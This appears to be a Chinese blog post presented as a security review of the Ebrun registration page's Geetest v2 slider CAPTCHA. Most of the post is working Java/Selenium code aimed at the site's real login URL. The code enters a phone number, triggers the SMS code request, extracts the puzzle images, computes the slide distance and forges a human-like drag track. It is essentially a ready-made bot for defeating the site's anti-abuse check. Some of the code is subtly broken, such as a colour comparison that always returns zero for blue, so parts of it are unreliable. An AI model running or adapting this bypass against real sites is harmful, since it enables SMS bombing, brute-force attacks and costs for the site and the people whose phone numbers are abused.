前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 亿邦动力网会员注册入口
简介:亿邦动力是在国内具有影响力的电子商务及产业数字化知识服务平台,隶属于北京亿商联动国际电子商务股份有限公司。围绕产业互联网、B2B、B2C、C2C、跨境电商、移动电商、电商服务、零售、电商资本、电商政策等领域与方向,提供电商资讯、电商案例、电商数据、电商研究、电商战略咨询、电商会议、互联网广告等业务。
二、 安全性分析报告:
采用极验的V2版本,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
三、 测试方法:
前端界面分析,版本号为2.0,最大特点就是将图片做分割后,在前端再做合并,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
- 模拟器交互部分
private final String INDEX_URL = "https://u.ebrun.com/auth/login";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);
// 输入手机号
WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='手机号']"));
phoneElemet.sendKeys(phone);
// 点击出现滑动图
WebElement clickElemet = driver.findElement(By.xpath("//a[text()='获取验证码']"));
clickElemet.click();
Thread.sleep(1000);
boolean result = geetApi.getAndMove(driver, 0);
if (!result) {
return null;
}
Thread.sleep(1000);
WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//li[@class='login-code']"), 1);
String info = (gtElement != null) ? gtElement.getText() : null;
retEntity.setMsg(info);
if (info.contains("s后重发")) {
retEntity.setRet(0);
} else {
System.out.println("info=" + info);
}
return retEntity;
} catch (Exception e) {
System.out.println(e.toString());
return null;
}
}
- 获取滑动图片及调用移动交互
public boolean getAndMove(WebDriver driver, Integer offSet) {
int distance = -1;
try {
WebElement moveElement = ChromeDriverManager.waitElement(driver, By.className("geetest_slider_button"), 1000);
if (moveElement == null) {
logger.error("getAndMove() moveElement=" + moveElement);
return false;
}
// 下面的js代码根据canvas文档说明而来
// 完整背景图geetest_canvas_fullbg geetest_fade geetest_absolute
StringBuffer base64 = new StringBuffer();
String fullName = "geetest_canvas_fullbg geetest_fade geetest_absolute";
byte[] fullImg = GetImage.callJsByName(driver, fullName, base64);
String bgName = "geetest_canvas_bg geetest_absolute";
byte[] bgImg = GetImage.callJsByName(driver, bgName, base64);
File fullFile = null, bgFile = null;
if (fullImg != null && bgImg != null) {
Long time = System.currentTimeMillis();
fullFile = new File(dataPath + "geet/" + time + "full.png");
FileUtils.writeByteArrayToFile(fullFile, fullImg);
bgFile = new File(dataPath + "geet/" + time + "bg.png");
FileUtils.writeByteArrayToFile(bgFile, bgImg);
if (fullImg.length < 10000) {
System.out.println("fullImg len=" + fullImg.length + " -> err[len<10000]");
return false;
}
}
// 获取滑动距离并删除图片
distance = (fullFile != null && bgFile != null) ? ActionMove.getMoveDistance(fullFile.getAbsolutePath(), bgFile.getAbsolutePath()) : -1;
if (distance < 1) {
logger.error("getAndMove distance=" + distance);
return false;
}
if (offSet != null)
ActionMove.move(driver, moveElement, distance - offSet);
else
ActionMove.move(driver, moveElement, distance);
// 滑动结果
Thread.sleep(1 * 1000);
WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_content"), 10);
String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
if (gtInfo != null) {
System.out.println("gtInfo=" + gtInfo);
if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
return true;
}
} else {
String msg = driver.findElement(By.className("geetest_panel_success_title")).getAttribute("innerText");
System.out.println("msg=" + msg);
}
return false;
} catch (Exception e) {
System.out.println("getAndMove() " + e.toString());
logger.error(e.toString());
return false;
}
}
2. 距离识别
/**
* 计算需要平移的距离
*
* @param fullImgPath
* 完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
public static int getMoveDistance(String fullImgPath, String bgImgPath) {
System.out.println("fullImgPath=" + fullImgPath);
File fullFile = new File(fullImgPath);
File bgFile = new File(bgImgPath);
boolean fullExists = fullFile.exists();
boolean bgExists = bgFile.exists();
if (fullExists && bgExists) {
String abPath = bgFile.getAbsolutePath();
int l = abPath.lastIndexOf(".");
String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
return getComareImg(fullFile, bgFile, out);
} else {
System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
return -1;
}
}
/**
* 计算需要平移的距离
*
* @param driver
* @param fullImgPath完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
private static int getComareImg(Object fullObj, Object bgObj, String out) {
System.out.println("getComareImg() begin");
try {
if (fullObj == null || bgObj == null) {
return -1;
}
BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
List<Integer> list;
Color ca, cb;
Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
// 将头35列的最大不同值取出, 作为右边图像的基础差
Long tifTotl = 0L;
int tifLeft = 0;
int tifCount = 0;
for (int i = 0; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (i <= 35 && tifLeft < diff) {
tifLeft = (diff >= 255) ? 255 : diff;
} else if (diff > tifLeft) {
tifTotl += diff;
tifCount++;
}
}
}
Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
if (tifLeft <= 0 && tifAvg >= 2) {
tifAvg = tifAvg / 2;
}
for (int i = 35; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (diff >= tifAvg) {
list = xMap.get(i);
if (list == null) {
list = new ArrayList<Integer>();
xMap.put(i, list);
}
list.add(j);
xMap.put(i, list);
}
}
}
System.out.println(" |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());
int minX = 0;
int maxX = 0;
for (Integer x : xMap.keySet()) {
list = xMap.get(x);
minX = (minX == 0) ? x : minX;
maxX = x;
for (int y : list) {
cb = new Color(bgBI.getRGB(x, y));
int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
bgBI.setRGB(x, y, gray);
}
}
// 标记直线位置
for (int y = 0; y < bgBI.getHeight(); y++) {
bgBI.setRGB(minX, y, Color.red.getRGB());
}
int width = maxX - minX;
File destFile = new File(out);
Thumbnails.of(bgBI).scale(1f).toFile(destFile);
System.out.println(" |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
return minX;
} catch (Exception e) {
System.out.println(e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
System.out.println(elment.toString());
}
logger.error("getMoveDistance() err = " + e.toString());
return 0;
}
}
private static int diff(Color ca, Color cb) {
int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
return d;
}
3. 轨道生成及移动算法
/**
* 双轴轨道生成算法,主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);
if (track == null || track.size() < 1) {
System.out.println("move() track=" + track);
}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(20);
long begin, cost;
Integer[] move;
int sum = 0;
for (int i = 0; i < track.size(); i++) {
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];
sum += moveX;
moveY = move[1];
if (moveX < 0) {
if (sb.length() > 0) {
sb.append(",");
}
sb.append(moveX);
}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;
if (cost < 3) {
Thread.sleep(3 - cost);
}
}
if (sb.length() > 0) {
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());
}
}
- 图片比对结果测试样例:
四丶结语
亿邦动力是在国内具有影响力的电子商务及产业数字化知识服务平台, 采用的是通俗的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
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